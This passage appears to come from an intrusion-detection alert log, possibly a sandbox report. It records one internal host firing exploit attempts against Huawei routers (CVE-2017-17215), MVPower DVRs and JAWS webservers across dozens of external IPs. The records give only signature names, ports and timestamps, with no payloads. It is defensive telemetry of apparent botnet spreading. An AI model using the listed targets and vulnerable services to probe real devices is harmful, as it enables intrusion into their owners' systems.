Source Port:	47668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 145.92.78.73

Timestamp:	06/01/24-18:15:54.238811
SID:	2025883
Source Port:	56774
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 109.252.239.250

Timestamp:	06/01/24-18:15:56.254840
SID:	2025883
Source Port:	50144
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.126.149.65

Timestamp:	06/01/24-18:15:56.288115
SID:	2829579
Source Port:	54864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.116.0.109

Timestamp:	06/01/24-18:15:54.275795
SID:	2829579
Source Port:	47684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.13.177.93

Timestamp:	06/01/24-18:15:54.254976
SID:	2835222
Source Port:	56050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.179.125.3

Timestamp:	06/01/24-18:15:55.259625
SID:	2829579
Source Port:	34526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.181.180

Timestamp:	06/01/24-18:15:56.307625
SID:	2835222
Source Port:	38878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.16.66

Timestamp:	06/01/24-18:15:54.274503
SID:	2835222
Source Port:	56590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.89.17.146

Timestamp:	06/01/24-18:15:54.237719
SID:	2030092
Source Port:	54410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.11.8.51

Timestamp:	06/01/24-18:15:55.263359
SID:	2829579
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.51.243.47

Timestamp:	06/01/24-18:15:55.263544
SID:	2829579
Source Port:	34470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.33.20.180

Timestamp:	06/01/24-18:15:56.244906
SID:	2030092
Source Port:	37372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.58.162.34

Timestamp:	06/01/24-18:15:54.274630
SID:	2829579
Source Port:	60168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.108.129.83

Timestamp:	06/01/24-18:15:55.263597
SID:	2835222
Source Port:	37740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.204.51.155

Timestamp:	06/01/24-18:15:54.256596
SID:	2835222
Source Port:	41396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.29.82.209

Timestamp:	06/01/24-18:15:56.306118
SID:	2835222
Source Port:	36192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.124.188.94

Timestamp:	06/01/24-18:15:56.245457
SID:	2025883
Source Port:	41602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.182.7

Timestamp:	06/01/24-18:15:55.260121
SID:	2829579
Source Port:	45602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.222.156

Timestamp:	06/01/24-18:15:54.274950
SID:	2835222
Source Port:	50200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 204.135.242.117

Timestamp:	06/01/24-18:15:53.240112
SID:	2030092
Source Port:	47714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.30.58.227

Timestamp:	06/01/24-18:15:54.240667
SID:	2030092
Source Port:	39030
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.125.82.99

Timestamp:	06/01/24-18:15:54.256207
SID:	2829579
Source Port:	45658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 17.7.166.25

Timestamp:	06/01/24-18:15:55.268493
SID:	2030092
Source Port:	44224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.86.90.224

Timestamp:	06/01/24-18:15:55.259707
SID:	2829579
Source Port:	42860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.218.98.173

Timestamp:	06/01/24-18:15:56.246355
SID:	2025883
Source Port:	47646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.198.161.205

Timestamp:	06/01/24-18:15:56.308137
SID:	2835222
Source Port:	48752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.8.32.149

Timestamp:	06/01/24-18:15:54.253620
SID:	2829579
Source Port:	46024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.94.219.6

Timestamp:	06/01/24-18:15:54.252728
SID:	2829579
Source Port:	57592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 81.48.62.152

Timestamp:	06/01/24-18:15:53.240978
SID:	2025883
Source Port:	53558
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.212.207.12

Timestamp:	06/01/24-18:15:54.253278
SID:	2835222
Source Port:	58966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 80.252.121.45

Timestamp:	06/01/24-18:15:53.241607
SID:	2025883
Source Port:	52886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 196.44.130.154

Timestamp:	06/01/24-18:15:53.239929
SID:	2030092
Source Port:	36546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.189.31.68

Timestamp:	06/01/24-18:15:54.239533
SID:	2030092
Source Port:	41362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.211.139.161

Timestamp:	06/01/24-18:15:55.232018
SID:	2030092
Source Port:	43444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.52.23.232

Timestamp:	06/01/24-18:15:56.307512
SID:	2829579
Source Port:	54276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.151.195.102

Timestamp:	06/01/24-18:15:53.240886
SID:	2030092
Source Port:	39732
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.185.132.251

Timestamp:	06/01/24-18:15:53.241435
SID:	2030092
Source Port:	48762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 187.75.110.93

Timestamp:	06/01/24-18:15:53.240062
SID:	2025883
Source Port:	51500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.108.232.85

Timestamp:	06/01/24-18:15:54.240025
SID:	2030092
Source Port:	33688
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 219.119.143.84

Timestamp:	06/01/24-18:15:56.245427
SID:	2025883
Source Port:	59018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.239.183.143

Timestamp:	06/01/24-18:15:55.259667
SID:	2829579
Source Port:	53642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.32.68

Timestamp:	06/01/24-18:15:56.288088
SID:	2835222
Source Port:	53796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.33.181.12

Timestamp:	06/01/24-18:15:54.254259
SID:	2835222
Source Port:	59806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 133.130.243.96

Timestamp:	06/01/24-18:15:54.238224
SID:	2030092
Source Port:	49524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.239.226.123

Timestamp:	06/01/24-18:15:53.239557
SID:	2030092
Source Port:	56234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.171.210.51

Timestamp:	06/01/24-18:15:53.241160
SID:	2030092
Source Port:	42950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 155.78.6.227

Timestamp:	06/01/24-18:15:53.240794
SID:	2025883
Source Port:	33210
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 98.147.145.185

Timestamp:	06/01/24-18:15:56.255231
SID:	2025883
Source Port:	44092
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.126.90.34

Timestamp:	06/01/24-18:15:53.237898
SID:	2030092
Source Port:	37480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.128.8

Timestamp:	06/01/24-18:15:56.306153
SID:	2829579
Source Port:	59834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.166.201.246

Timestamp:	06/01/24-18:15:56.308094
SID:	2829579
Source Port:	36302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.206.174

Timestamp:	06/01/24-18:15:54.273749
SID:	2829579
Source Port:	47490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 213.99.204.125

Timestamp:	06/01/24-18:15:54.237993
SID:	2025883
Source Port:	47054
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.230.78

Timestamp:	06/01/24-18:15:54.253940
SID:	2829579
Source Port:	36686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.84.49.239

Timestamp:	06/01/24-18:15:56.307179
SID:	2835222
Source Port:	37022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.154.217.12

Timestamp:	06/01/24-18:15:54.253854
SID:	2829579
Source Port:	42030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.57.15.58

Timestamp:	06/01/24-18:15:55.264788
SID:	2030092
Source Port:	56736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.68.81

Timestamp:	06/01/24-18:15:55.263107
SID:	2829579
Source Port:	52304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 90.145.31.137

Timestamp:	06/01/24-18:15:56.244830
SID:	2025883
Source Port:	54968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.135.44.218

Timestamp:	06/01/24-18:15:54.238439
SID:	2030092
Source Port:	36208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.29.240.127

Timestamp:	06/01/24-18:15:54.251747
SID:	2829579
Source Port:	40380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.186.16.118

Timestamp:	06/01/24-18:15:54.274833
SID:	2829579
Source Port:	46780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 123.28.179.254

Timestamp:	06/01/24-18:15:53.241729
SID:	2025883
Source Port:	34492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.201.130.187

Timestamp:	06/01/24-18:15:55.267076
SID:	2030092
Source Port:	37184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.241.94.64

Timestamp:	06/01/24-18:15:55.266307
SID:	2030092
Source Port:	40972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.77.122

Timestamp:	06/01/24-18:15:54.257094
SID:	2835222
Source Port:	51850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.85.135.218

Timestamp:	06/01/24-18:15:53.239596
SID:	2030092
Source Port:	51050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.44.98.223

Timestamp:	06/01/24-18:15:56.255251
SID:	2025883
Source Port:	47712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.225.105

Timestamp:	06/01/24-18:15:54.251831
SID:	2829579
Source Port:	35770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.142.230

Timestamp:	06/01/24-18:15:54.275663
SID:	2835222
Source Port:	54092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 140.5.76.153

Timestamp:	06/01/24-18:15:53.238606
SID:	2030092
Source Port:	55292
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.124.188.94

Timestamp:	06/01/24-18:15:56.245457
SID:	2030092
Source Port:	41602
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.6.122.212

Timestamp:	06/01/24-18:15:56.246218
SID:	2025883
Source Port:	47938
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.141.233.124

Timestamp:	06/01/24-18:15:54.251612
SID:	2829579
Source Port:	38836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 181.7.89.239

Timestamp:	06/01/24-18:15:55.266913
SID:	2030092
Source Port:	43296
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 169.128.130.40

Timestamp:	06/01/24-18:15:55.272625
SID:	2025883
Source Port:	34184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.243.242.221

Timestamp:	06/01/24-18:15:53.241529
SID:	2030092
Source Port:	58654
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.87.202

Timestamp:	06/01/24-18:15:54.252244
SID:	2829579
Source Port:	48832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.9.236.107

Timestamp:	06/01/24-18:15:54.252468
SID:	2835222
Source Port:	45594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.223.56.124

Timestamp:	06/01/24-18:15:56.306780
SID:	2829579
Source Port:	50380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.114.121.8

Timestamp:	06/01/24-18:15:55.272559
SID:	2030092
Source Port:	55190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.201.193.121

Timestamp:	06/01/24-18:15:56.245386
SID:	2030092
Source Port:	54684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.82.161

Timestamp:	06/01/24-18:15:56.307739
SID:	2829579
Source Port:	41044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 36.17.37.52

Timestamp:	06/01/24-18:15:56.244182
SID:	2030092
Source Port:	56476
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.154.44.113

Timestamp:	06/01/24-18:15:56.246558
SID:	2030092
Source Port:	40260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.145.26.98

Timestamp:	06/01/24-18:15:56.308432
SID:	2835222
Source Port:	59848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 141.114.69.138

Timestamp:	06/01/24-18:15:56.246394
SID:	2025883
Source Port:	33772
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.27.20.241

Timestamp:	06/01/24-18:15:54.238030
SID:	2030092
Source Port:	55740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 177.213.21.177

Timestamp:	06/01/24-18:15:55.264769
SID:	2030092
Source Port:	48562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.119.106.167

Timestamp:	06/01/24-18:15:56.305831
SID:	2829579
Source Port:	42754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.117.26.254

Timestamp:	06/01/24-18:15:55.260455
SID:	2829579
Source Port:	41000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.64.245

Timestamp:	06/01/24-18:15:54.251572
SID:	2829579
Source Port:	45586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.52.203

Timestamp:	06/01/24-18:15:55.259765
SID:	2835222
Source Port:	55908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.41.49.187

Timestamp:	06/01/24-18:15:55.259281
SID:	2835222
Source Port:	44494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.116.22.183

Timestamp:	06/01/24-18:15:54.274702
SID:	2835222
Source Port:	52758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.4.140.180

Timestamp:	06/01/24-18:15:53.241794
SID:	2030092
Source Port:	57298
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.25.240.24

Timestamp:	06/01/24-18:15:56.245630
SID:	2025883
Source Port:	49634
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.40.87.16

Timestamp:	06/01/24-18:15:56.254930
SID:	2030092
Source Port:	55984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.23.205

Timestamp:	06/01/24-18:15:54.275705
SID:	2829579
Source Port:	51478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 98.147.145.185

Timestamp:	06/01/24-18:15:56.255231
SID:	2030092
Source Port:	44092
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.91.194.133

Timestamp:	06/01/24-18:15:54.209240
SID:	2030092
Source Port:	58314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.214.96.213

Timestamp:	06/01/24-18:15:54.256025
SID:	2835222
Source Port:	34408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 48.234.108.156

Timestamp:	06/01/24-18:15:53.239961
SID:	2030092
Source Port:	38194
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.130.72.182

Timestamp:	06/01/24-18:15:53.241765
SID:	2030092
Source Port:	50824
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.23.118

Timestamp:	06/01/24-18:15:54.254304
SID:	2835222
Source Port:	38486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.62.241.247

Timestamp:	06/01/24-18:15:53.239377
SID:	2030092
Source Port:	37288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.248.232.76

Timestamp:	06/01/24-18:15:54.256774
SID:	2829579
Source Port:	54536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.190.120.96

Timestamp:	06/01/24-18:15:56.254790
SID:	2030092
Source Port:	39154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

